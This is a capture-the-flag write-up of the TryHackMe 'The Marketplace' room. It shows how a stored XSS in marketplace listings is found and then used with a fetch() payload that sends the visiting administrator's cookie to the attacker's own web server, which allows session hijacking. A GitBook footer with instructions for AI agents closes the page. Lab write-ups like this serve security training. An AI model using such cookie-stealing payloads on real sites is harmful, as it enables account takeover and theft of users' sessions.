> For the complete documentation index, see [llms.txt](https://morell-tony.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morell-tony.gitbook.io/home/capture-the-flag/tryhackme/thm-overview/the-marketplace.md).

# The Marketplace

{% embed url="<https://tryhackme.com/room/marketplace>" %}

This box represents a marketplace for users to post and sell items on a market.

### Flag 1

For the first part of the engagement, I looked around the webpage and quickly knew that the webpage was not that secure. I found that there was an admin report button that has automated accounts with administrator rights check when a posting is reported to see if its is appropriate for the marketplace.&#x20;

With that in mind, I checked some of the posts and reported them. Although nothing too exciting happened, I thought if I could create a post and report it myself maybe the admins could share some information. Within the post creations, there is a **persistent XSS vulnerability**. I verified this by using the classic example

```
<script>alert(1);</script>
```

Once a user clicked on the post, that alert popped up.&#x20;

I decided to run a web server from my attacker machine and craft this payload for a new posting on the website.

```
<script>fetch("http://<IP>:8000/"+document.cookie)</script>
```

Once that was posted inside a listing, I reported the listing and the attacker server would receive the administrator cookie.

![](/files/bRu95RAEWJlAoERe4qPP)

I would then replace my cookie with the administrator cookie, refresh the page and I am then an admin.

![](/files/aiUELT5AHu4LrGwxXF7S)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morell-tony.gitbook.io/home/capture-the-flag/tryhackme/thm-overview/the-marketplace.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
